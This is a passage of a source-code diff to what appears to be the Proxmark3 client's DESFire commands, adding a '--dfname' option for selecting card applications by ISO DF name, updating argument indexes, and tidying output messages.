from `default` command\n" + "hf mfdes auth --dfname D2760000850100 -n 0 -t aes -k 00000000000000000000000000000000 -> select DF by name and authenticate"); void *argtable[] = { arg_param_begin, @@ -2209,6 +2266,7 @@ static int CmdHF14ADesAuth(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID of application for some parameters (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_lit0(NULL, "save", "saves channels parameters to defaults if authentication succeeds"), arg_param_end }; @@ -2221,13 +2279,13 @@ static int CmdHF14ADesAuth(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMPlain, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMPlain, &id, &selectway); if (res) { CLIParserFree(ctx); return res; } - bool save = arg_get_lit(ctx, 13); + bool save = arg_get_lit(ctx, 14); SetAPDULogging(APDULogging); CLIParserFree(ctx); @@ -2239,7 +2297,9 @@ static int CmdHF14ADesAuth(const char *Cmd) { return res; } - if (DesfireMFSelected(selectway, id)) + if (dctx.selectedDFNameLen > 0) { + PrintAndLogEx(SUCCESS, "DF selected and authenticated " _GREEN_("successfully")); + } else if (DesfireMFSelected(selectway, id)) PrintAndLogEx(SUCCESS, "PICC selected and authenticated " _GREEN_("succesfully")); else PrintAndLogEx(SUCCESS, "Application " _CYAN_("%s") " selected and authenticated " _GREEN_("succesfully"), DesfireWayIDStr(selectway, id)); @@ -2317,7 +2377,7 @@ static int CmdHF14ADesSetConfiguration(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMEncrypted, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMEncrypted, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -2432,7 +2492,7 @@ static int CmdHF14ADesChangeKey(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMEncrypted, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMEncrypted, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -2578,7 +2638,7 @@ static int CmdHF14ADesCreateApp(const char *Cmd) { arg_str0(NULL, "rawdata", "", "Raw data that sends to command"), arg_str0(NULL, "aid", "", "Application ID for create. Mandatory. (3 hex bytes, big endian)"), arg_str0(NULL, "fid", "", "ISO file ID. Forbidden values: 0000 3F00, 3FFF, FFFF. (2 hex bytes, big endian)"), - arg_str0(NULL, "dfname", "", "ISO DF Name (1..16 chars)"), + arg_str0(NULL, "dfname", "", "ISO DF Name (1..16 chars)"), arg_str0(NULL, "dfhex", "", "ISO DF Name as hex (1..16 bytes)"), arg_str0(NULL, "ks1", "", "Key settings 1 (1 hex byte). Application Master Key Settings (def: 0x0F)"), arg_str0(NULL, "ks2", "", "Key settings 2 (1 hex byte). (def: 0x0E)"), @@ -2595,7 +2655,7 @@ static int CmdHF14ADesCreateApp(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 12, 0, &securechann, DCMMACed, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 12, 0, 0, &securechann, DCMMACed, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -2612,8 +2672,8 @@ static int CmdHF14ADesCreateApp(const char *Cmd) { return PM3_EINVARG; } - uint8_t dfname[250] = {0}; - int dfnamelen = 16; + uint8_t dfname[32] = {0}; + int dfnamelen = 16; // since max length is 16 chars we don't have to test for 32-1 null termination CLIGetStrWithReturn(ctx, 14, dfname, &dfnamelen); if (dfnamelen == 0) { // no text DF Name supplied @@ -2758,7 +2818,7 @@ static int CmdHF14ADesDeleteApp(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMMACed, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMMACed, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -2796,7 +2856,8 @@ static int CmdHF14ADesGetUID(const char *Cmd) { CLIParserInit(&ctx, "hf mfdes getuid", "Get UID from card. Get the real UID if the random UID bit is on and get the same UID as in anticollision if not. Any card's key needs to be provided. ", "hf mfdes getuid -> execute with default factory setup\n" - "hf mfdes getuid --isoid df01 -t aes --schan lrp -> for desfire lights default settings"); + "hf mfdes getuid --isoid df01 -t aes --schan lrp -> for desfire lights default settings\n" + "hf mfdes getuid --dfname D2760000850100 -> select DF by name and get UID"); void *argtable[] = { arg_param_begin, @@ -2812,6 +2873,7 @@ static int CmdHF14ADesGetUID(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -2823,7 +2885,7 @@ static int CmdHF14ADesGetUID(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMEncrypted, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMEncrypted, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -2901,7 +2963,7 @@ static int CmdHF14ADesFormatPICC(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMMACed, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMMACed, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -2923,7 +2985,7 @@ static int CmdHF14ADesFormatPICC(const char *Cmd) { return PM3_ESOFT; } - PrintAndLogEx(SUCCESS, "Desfire format: " _GREEN_("done")); + PrintAndLogEx(SUCCESS, "Desfire format: " _GREEN_("done!")); DropField(); return PM3_SUCCESS; @@ -2948,6 +3010,7 @@ static int CmdHF14ADesGetFreeMem(const char *Cmd) { arg_str0("c", "ccset", "", "Communicaton command set"), arg_str0(NULL, "schann", "", "Secure channel"), arg_lit0(NULL, "no-auth", "Execute without authentication"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -2959,7 +3022,9 @@ static int CmdHF14ADesGetFreeMem(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, &securechann, (noauth) ? DCMPlain : DCMMACed, NULL, NULL); + uint32_t id = 0x000000; + DesfireISOSelectWay selectway = ISW6bAID; + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 12, &securechann, (noauth) ? DCMPlain : DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -2968,7 +3033,7 @@ static int CmdHF14ADesGetFreeMem(const char *Cmd) { SetAPDULogging(APDULogging); CLIParserFree(ctx); - res = DesfireSelectAndAuthenticateEx(&dctx, securechann, 0x000000, noauth, verbose); + res = DesfireSelectAndAuthenticateAppW(&dctx, securechann, selectway, id, noauth, verbose); if (res != PM3_SUCCESS) { DropField(); return res; @@ -3021,7 +3086,7 @@ static int CmdHF14ADesChKeySettings(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMEncrypted, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMEncrypted, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -3068,7 +3133,8 @@ static int CmdHF14ADesGetKeyVersions(const char *Cmd) { "--keynum parameter: App level: key number. PICC level: 00..0d - keys count, 21..23 vc keys, default 0x00.\n"\ "hf mfdes getkeyversions --keynum 00 -> get picc master key version with default key/channel setup\n"\ "hf mfdes getkeyversions --aid 123456 --keynum 0d -> get app 123456 all key versions with default key/channel setup\n" - "hf mfdes getkeyversions --aid 123456 --keynum 0d --no-auth -> get key version without authentication"); + "hf mfdes getkeyversions --aid 123456 --keynum 0d --no-auth -> get key version without authentication\n"\ + "hf mfdes getkeyversions --dfname D2760000850100 --keynum 00 -> select DF by name and get key versions"); void *argtable[] = { arg_param_begin, @@ -3084,36 +3150,38 @@ static int CmdHF14ADesGetKeyVersions(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)."), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_str0(NULL, "keynum", "", "Key number/count (1 hex byte). (def: 0x00)"), arg_str0(NULL, "keyset", "", "Keyset number (1 hex byte)"), arg_lit0(NULL, "no-auth", "Execute without authentication"), + arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); - bool noauth = arg_get_lit(ctx, 15); + bool noauth = arg_get_lit(ctx, 16); DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; } uint32_t keynum32 = 0x00; - if (CLIGetUint32Hex(ctx, 13, 0x00, &keynum32, NULL, 1, "Key number must have 1 byte length")) { + if (CLIGetUint32Hex(ctx, 14, 0x00, &keynum32, NULL, 1, "Key number must have 1 byte length")) { CLIParserFree(ctx); return PM3_EINVARG; } uint32_t keysetnum32 = 0x00; bool keysetpresent = false; - if (CLIGetUint32Hex(ctx, 14, 0x00, &keysetnum32, &keysetpresent, 1, "Keyset number must have 1 byte length")) { + if (CLIGetUint32Hex(ctx, 15, 0x00, &keysetnum32, &keysetpresent, 1, "Keyset number must have 1 byte length")) { CLIParserFree(ctx); return PM3_EINVARG; } @@ -3170,7 +3238,8 @@ static int CmdHF14ADesGetKeySettings(const char *Cmd) { CLIParserInit(&ctx, "hf mfdes getkeysettings", "Get key settings for card level or application level.", "hf mfdes getkeysettings -> get picc key settings with default key/channel setup\n"\ - "hf mfdes getkeysettings --aid 123456 -> get app 123456 key settings with default key/channel setup"); + "hf mfdes getkeysettings --aid 123456 -> get app 123456 key settings with default key/channel setup\n"\ + "hf mfdes getkeysettings --dfname D2760000850100 -> select DF by name and get key settings"); void *argtable[] = { arg_param_begin, @@ -3185,6 +3254,7 @@ static int CmdHF14ADesGetKeySettings(const char *Cmd) { arg_str0("c", "ccset", "", "Communicaton command set"), arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -3195,7 +3265,8 @@ static int CmdHF14ADesGetKeySettings(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMMACed, &appid, NULL); + DesfireISOSelectWay selectway = ISW6bAID; + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 12, &securechann, DCMMACed, &appid, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -3273,7 +3344,7 @@ static int CmdHF14ADesGetAIDs(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, &securechann, DCMMACed, NULL, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 0, &securechann, DCMMACed, NULL, NULL); if (res) { CLIParserFree(ctx); return res; @@ -3299,14 +3370,15 @@ static int CmdHF14ADesGetAIDs(const char *Cmd) { } if (buflen >= 3) { - PrintAndLogEx(INFO, "---- " _CYAN_("AID list") " ----"); + + uint8_t j = (buflen / 3); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "--- " _CYAN_("AID list") " ( " _YELLOW_("%u") " found )", j); for (int i = 0; i < buflen; i += 3) { - const char *commentStr = getAidCommentStr(&buf[i]); - if ((void *) commentStr == &noCommentStr) - PrintAndLogEx(INFO, "AID: %06x", DesfireAIDByteToUint(&buf[i])); - else - PrintAndLogEx(INFO, "AID: %06x (%s)", DesfireAIDByteToUint(&buf[i]), commentStr); + uint32_t aid = DesfireAIDByteToUint(&buf[i]); + PrintAndLogEx(SUCCESS, _YELLOW_("%06X") " %s", aid, getAidCommentStr(aid)); } + PrintAndLogEx(NORMAL, ""); } else { PrintAndLogEx(INFO, "There is no applications on the card"); } @@ -3344,7 +3416,7 @@ static int CmdHF14ADesGetAppNames(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, &securechann, DCMMACed, NULL, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 0, &securechann, DCMMACed, NULL, NULL); if (res) { CLIParserFree(ctx); return res; @@ -3391,7 +3463,8 @@ static int CmdHF14ADesGetFileIDs(const char *Cmd) { CLIParserInit(&ctx, "hf mfdes getfileids", "Get File IDs list from card. Master key needs to be provided or flag --no-auth set.", "hf mfdes getfileids --aid 123456 -> execute with defaults from `default` command\n" - "hf mfdes getfileids -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 -> execute with default factory setup"); + "hf mfdes getfileids -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 -> execute with default factory setup\n" + "hf mfdes getfileids --dfname D2760000850100 -> select DF by name and get file IDs"); void *argtable[] = { arg_param_begin, @@ -3407,6 +3480,7 @@ static int CmdHF14ADesGetFileIDs(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)."), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_lit0(NULL, "no-auth", "Execute without authentication"), arg_param_end }; @@ -3414,13 +3488,13 @@ static int CmdHF14ADesGetFileIDs(const char *Cmd) { bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); - bool noauth = arg_get_lit(ctx, 13); + bool noauth = arg_get_lit(ctx, 14); DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -3436,6 +3510,7 @@ static int CmdHF14ADesGetFileIDs(const char *Cmd) { return res; } + uint8_t buf[APDU_RES_LEN] = {0}; size_t buflen = 0; @@ -3451,7 +3526,7 @@ static int CmdHF14ADesGetFileIDs(const char *Cmd) { for (int i = 0; i < buflen; i++) PrintAndLogEx(INFO, "File ID: %02x", buf[i]); } else { - PrintAndLogEx(INFO, "There is no files in the application %06x", id); + PrintAndLogEx(INFO, "There are no files in the application %06x", id); } DropField(); @@ -3465,7 +3540,8 @@ static int CmdHF14ADesGetFileISOIDs(const char *Cmd) { "hf mfdes getfileisoids --aid 123456 -> execute with defaults from `default` command\n" "hf mfdes getfileisoids -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 -> execute with default factory setup\n" "hf mfdes getfileisoids --isoid df01 -> get iso file ids from Desfire Light with factory card settings\n" - "hf mfdes getfileisoids --isoid df01 --schann lrp -t aes -> get iso file ids from Desfire Light via lrp channel with default key authentication"); + "hf mfdes getfileisoids --isoid df01 --schann lrp -t aes -> get iso file ids from Desfire Light via lrp channel with default key authentication\n" + "hf mfdes getfileisoids --dfname D2760000850100 -> select DF by name and get file ISO IDs"); void *argtable[] = { arg_param_begin, @@ -3481,6 +3557,7 @@ static int CmdHF14ADesGetFileISOIDs(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)."), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_lit0(NULL, "no-auth", "Execute without authentication"), arg_param_end }; @@ -3488,13 +3565,13 @@ static int CmdHF14ADesGetFileISOIDs(const char *Cmd) { bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); - bool noauth = arg_get_lit(ctx, 13); + bool noauth = arg_get_lit(ctx, 14); DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -3525,7 +3602,7 @@ static int CmdHF14ADesGetFileISOIDs(const char *Cmd) { for (int i = 0; i < buflen; i += 2) PrintAndLogEx(INFO, "File ID: %04x", MemLeToUint2byte(&buf[i])); } else { - PrintAndLogEx(INFO, "There is no files in the application %06x", id); + PrintAndLogEx(INFO, "There are no files in the application %06x", id); } DropField(); @@ -3538,7 +3615,8 @@ static int CmdHF14ADesGetFileSettings(const char *Cmd) { "Get File Settings from file from application. Master key needs to be provided or flag --no-auth set (depend on cards settings).", "hf mfdes getfilesettings --aid 123456 --fid 01 -> execute with defaults from `default` command\n" "hf mfdes getfilesettings --isoid df01 --fid 00 --no-auth -> get file settings with select by iso id\n" - "hf mfdes getfilesettings -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 --fid 01 -> execute with default factory setup"); + "hf mfdes getfilesettings -n 0 -t des -k 0000000000000000 --kdf none --aid 123456 --fid 01 -> execute with default factory setup\n" + "hf mfdes getfilesettings --dfname D2760000850100 --fid 01 -> select DF by name and get file settings"); void *argtable[] = { arg_param_begin, @@ -3554,6 +3632,7 @@ static int CmdHF14ADesGetFileSettings(const char *Cmd) { arg_str0(NULL, "schann", "", "Secure channel"), arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), arg_str0(NULL, "fid", "", "File ID (1 hex byte). (def: 1)"), arg_lit0(NULL, "no-auth", "Execute without authentication"), arg_param_end @@ -3562,20 +3641,20 @@ static int CmdHF14ADesGetFileSettings(const char *Cmd) { bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); - bool noauth = arg_get_lit(ctx, 14); + bool noauth = arg_get_lit(ctx, 15); DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; } uint32_t fileid = 1; - if (CLIGetUint32Hex(ctx, 13, 1, &fileid, NULL, 1, "File ID must have 1 byte length")) { + if (CLIGetUint32Hex(ctx, 14, 1, &fileid, NULL, 1, "File ID must have 1 byte length")) { CLIParserFree(ctx); return PM3_EINVARG; } @@ -3600,8 +3679,9 @@ static int CmdHF14ADesGetFileSettings(const char *Cmd) { return PM3_ESOFT; } - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "%s file %02x settings[%zu]: %s", DesfireWayIDStr(selectway, id), fileid, buflen, sprint_hex(buf, buflen)); + } DesfirePrintFileSettings(buf, buflen); @@ -3744,7 +3824,7 @@ static int CmdHF14ADesChFileSettings(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMEncrypted, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMEncrypted, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -3891,7 +3971,7 @@ static int CmdHF14ADesCreateFile(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMMACed, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMMACed, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -3995,7 +4075,7 @@ static int CmdHF14ADesCreateValueFile(const char *Cmd) { arg_lit0("a", "apdu", "Show APDU requests and responses"), arg_lit0("v", "verbose", "Verbose output"), arg_int0("n", "keyno", "", "Key number"), - arg_str0("t", "algo", "", "Crypt algo"), + arg_str0("t", "algo", "", "Crypt algo (deft: 2TDEA)"), arg_str0("k", "key", "", "Key for authenticate (HEX 8(DES), 16(2TDEA or AES) or 24(3TDEA) bytes)"), arg_str0(NULL, "kdf", "", "Key Derivation Function (KDF)"), arg_str0("i", "kdfi", "", "KDF input (1-31 hex bytes)"), @@ -4028,7 +4108,7 @@ static int CmdHF14ADesCreateValueFile(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMMACed, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMMACed, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -4155,7 +4235,7 @@ static int CmdHF14ADesCreateRecordFile(const char *Cmd) { DesfireContext_t dctx; int securechann = defaultSecureChannel; uint32_t appid = 0x000000; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, &securechann, DCMMACed, &appid, NULL); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 0, 0, &securechann, DCMMACed, &appid, NULL); if (res) { CLIParserFree(ctx); return res; @@ -4273,7 +4353,7 @@ static int CmdHF14ADesCreateTrMACFile(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMEncrypted, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMEncrypted, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -4380,7 +4460,7 @@ static int CmdHF14ADesDeleteFile(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -4435,7 +4515,7 @@ static int CmdHF14ADesValueOperations(const char *Cmd) { arg_lit0("a", "apdu", "Show APDU requests and responses"), arg_lit0("v", "verbose", "Verbose output"), arg_int0("n", "keyno", "", "Key number"), - arg_str0("t", "algo", "", "Crypt algo"), + arg_str0("t", "algo", "", "Crypt algo (deft: 2TDEA)"), arg_str0("k", "key", "", "Key for authenticate (HEX 8(DES), 16(2TDEA or AES) or 24(3TDEA) bytes)"), arg_str0(NULL, "kdf", "", "Key Derivation Function (KDF)"), arg_str0("i", "kdfi", "", "KDF input (1-31 hex bytes)"), @@ -4460,7 +4540,7 @@ static int CmdHF14ADesValueOperations(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -4630,7 +4710,7 @@ static int CmdHF14ADesClearRecordFile(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 0, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -4872,7 +4952,7 @@ static int DesfileReadFileAndPrint(DesfireContext_t *dctx, uint8_t *resp = calloc(DESFIRE_BUFFER_SIZE, 1); if (resp == NULL) { - PrintAndLogEx(ERR, "Desfire calloc " _RED_("error")); + PrintAndLogEx(WARNING, "Failed to allocate memory"); DropField(); return PM3_EMALLOC; } @@ -5040,7 +5120,7 @@ static int CmdHF14ADesReadData(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 17, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 17, 0, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -5215,7 +5295,7 @@ static int CmdHF14ADesWriteData(const char *Cmd) { int securechann = defaultSecureChannel; uint32_t id = 0x000000; DesfireISOSelectWay selectway = ISW6bAID; - int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 20, &securechann, DCMMACed, &id, &selectway); + int res = CmdDesGetSessionParameters(ctx, &dctx, 3, 4, 5, 6, 7, 8, 9, 10, 11, 20, 0, &securechann, DCMMACed, &id, &selectway); if (res) { CLIParserFree(ctx); return res; @@ -5515,7 +5595,8 @@ static int CmdHF14ADesLsFiles(const char *Cmd) { "This commands List files inside application AID / ISOID.\n" "Master key 